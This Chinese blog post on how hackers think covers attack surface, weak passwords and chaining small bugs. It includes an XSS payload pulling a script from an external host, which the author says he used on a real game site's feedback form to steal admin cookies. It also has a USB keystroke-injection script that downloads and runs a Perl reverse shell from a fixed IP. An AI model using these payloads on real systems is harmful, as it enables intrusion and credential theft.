聊一聊黑客是如何思考问题的

发布者:白客路人甲
发布于:2019-01-11 17:11

大家好,今天一起来讲讲黑客思维..


网络安全里经常说的一句话是未知攻焉知防。基本所有的安全人员本身也是一名黑客,在黑客攻击愈发普遍的今天,如何更好的防御黑客攻击?用句带有点哲学的话——成为黑客。只有成为黑客,像黑客一样思考,你才能知道从哪去防御黑客;很俗的一句话,但很实在!而对于想进入安全行业的你,不管是处于攻还是防的位置,也是一样的,我想都至少先让自己成为一名黑客。



看到上图的第一直觉,你可以自己想下答案,问问自己看到了什么?


正常的思维,第一直观感受是中间那个很明显,很大的黑点。因为这个黑点最吸引大家的注意力,稍微看过一些哲学故事的同学可能会想到黑点周围白色的区域。是的,黑点只是其中一个小点,而黑点周围白色的部分则足够大;但是,我不知道有没有人的答案是白色在外面?或者整个浏览器?整个电脑屏幕?电脑外呢?其实想表达的也正是,在黑客的思维里,永远不是局限于可以看到的部分,而在于能够想到或者没想到的所有面。


其实这类同于攻击面!安全是木桶短板原理,木桶能装多少水不在于最长的那块板,而是最短的那块;一个系统的安全程度不取决于安全做的多全,做的多高大上,而在于是否把那些最简单的问题处理掉。数据告诉我们,服务器入侵,除了漏洞之外最大途径是弱口令。


而弱口令就是一个根本没多少技术含量的方式,属于安全基线问题,这就是安全上的木桶原理。对于黑客而言,攻击面不会局限于能够看到的点,而在于所有可能关联或者没关联的面。就比如渗透测试或者说APT,很多时候结合社会工程学能够取得很好的效果,成为一个绝佳的入侵渠道。所以,黑客思维的第一点,放开自己的思维与想象,发现和关注平时所容易忽略和没有看到的地方。


我们来说说什么是黑客?可能对于大部分人而言,黑客是个贬义词。但在我看来却不是这样,黑客是某一类极客。对于黑客来说,这个世界充满令人好奇的事物,这个世界有太多的东西可以探索,特别是网络的世界。我习惯用突破创造,守正出奇这八个字来定义黑客。


黑客是一个追求自由的群体,不喜欢受到条条框框的约束,总是喜欢突破这一切。突破同时也可能是一种创造,创造新的方法,新的方式,新的工具,新的东西。



就比如这两张图,小学课本里的乌鸦喝水,老一代的乌鸦在我们看来是一种很傻的行为,但未尝不是一种稳定传统的方式?在生活中很多的事不也正如此?或者说就网络上很多安全的措施有时候也是稳定起见,因为新的东西除了先进,有时候也会带来风险。而对于黑客来说,可能考虑的更不是这些,而是尝试,好奇一切。


对于黑客而言,也有自己的黑客精神,有自己要坚持和秉承的东西(地下黑客的原则可能不同于正常黑客),这就是守正,自由、共享、平等、互助;原来我们有个小团队叫做”WSL”,猥琐流,这里既是Web Security Loop的缩写,同时也是”猥琐流”的意思;在Web安全的世界里,我们经常会提到"猥琐”这个词,或者说不仅限于Web安全,因为很多时候攻击的产生不是利用一个多厉害的漏洞,而在于猥琐的思路。几个定义为低危的小漏洞的组合也许威力比一个高危漏洞还大,这就取决于漏洞的组合使用,利用思路;这些"猥琐行为"就是一种出奇的表现。


了解黑客思维,成为黑客,才能更好的学会黑客的思考。



这是一个意见反馈的界面,看到这样一个界面,大家会怎么做?对于普通人来说,这就是一个正常的意见提交框,用处就是提交反馈内容;大家想想黑客会怎么做?提交攻击代码,比如下面的代码:</textarea>'"><script src=http://t.cn/R63bUP9></script>


实际上,当时看到这样一个功能,我就这样做了。这是某手游客服中心手机版的一个页面,可以提交反馈意见。正常人看到这样一个意见可能就提交符合开发者的内容,提交反馈的正常文本内容。但我的习惯性不会这么做,我直接提交这样一个攻击代码,然后有的时候就攻击成功了。比如就这样一个结果。由于这样的功能往往看反馈内容的都是系统的相关管理员,于是被攻击成功的也是管理员, 可以直接拿到管理员登录的账号的Cookie等信息。


这种行为总结而言,就是"看到框就想X",这里的X也就是XSS的意思;其实这更多的是一种习惯和意识,在黑客的想法里,看到功能首先想到的不是使用,而是能不能利用。然后由于攻击做的多了,看到不同的功能和应用页面,自然就能意识到可能存在的问题,自然而然的就会去测试;经常会有很多人问,那些人在各种SRC提交的漏洞都是怎么挖的,是不是有神器?但是也不是每个人的安全测试工具都是神器啊!其实很多时候是在使用中发现漏洞!


不同的潜意识行为和想法,取决于不同的知识面和经验,也取决于不同的目的。


如果手机没电了,那么旁边如果其他人正好有电脑,就会借用其他人电脑的USB口给手机充电。

这是一件很常见的事,但其实,只是插个数据线,也可以导致电脑被攻击,这就是一种物理黑客攻击。


一个很普通的手机,安装了一个叫做"Nethunter"的黑客操作系统,也就成为"黑客手机"。里面集成了一些黑客攻击工具,大家是否会觉得这个攻击挺高端的,物理黑客攻击,但当我告诉大家原理之后,大家可能想到的就是"原来如此,这么简单"。

譬如手机上显示的代码是:

CONTROL SPACE

STRING iterm

ENTER

ENTER

STRING ifconfig

ENTER


看完这个代码不知道大家是否已经明白了攻击原理,熟悉MAC操作的同学可能知道CONTROL+SPACE其实是调起Spotlight,一个类似快捷启动的工具,然后输入iterm,就是查找iTerm,然后回车,打开iTerm后,再输入ifconfig,再回车,就完成了整个命令输入执行的过程;大家可以发现,这其实就是一个模拟键盘操作的过程,没错,攻击原理就是模拟键盘操作,其实这时候的手机用USB接入电脑其实相当于就是手机把自己设置为键盘接入电脑,然后再直接模拟键盘操作进行攻击。


那么是否可以进行危害更大的攻击?比如反弹Shell?当然可以,改下代码即可:

CONTROL SPACE

STRING iterm

ENTER

ENTER

STRING wget http://45.32.8.108/b.pl.txt -O /tmp/b.pl

STRING perl /tmp/b.pl 反弹监听IP 监听端口

ENTER


采用下载一个Perl脚本来实现反弹Shell


讲这个例子的目的其实想表达的一点就是,对于黑客来说,功能也可以是利用点。在黑客的眼里,不是一定得使用漏洞,使用多高端的技巧。能达到攻击目的和效果的方式都是好的攻击方式。这些方式不局限于大家所了解的只是漏洞或者暴力破解等,而经常做的就是利用正常的功能来实现攻击,这种攻击因为使用的是正常的功能,有时候反而更隐蔽;而类似的攻击方式,不在少数。


其实,近几年来,大家对黑客的了解已经越来越多,黑客也越来越失去神秘,然后大家就会发现,他们其实也是生活中的普通人;而在黑夜中工作,有时更多的是因为那时候安静,做事效率高,或者是管理员不在线好做一些秘密的攻击和测试等,而不是所谓各种描述里的戴着衣帽,把自己包裹在黑暗中,不露出自己的真面目等。


从我的角度,其实黑客所不同于普通人的点,除了掌握的知识外,就是做事和思考的方式,仅此而已!


声明:该文观点仅代表作者本人,转载请注明来自看雪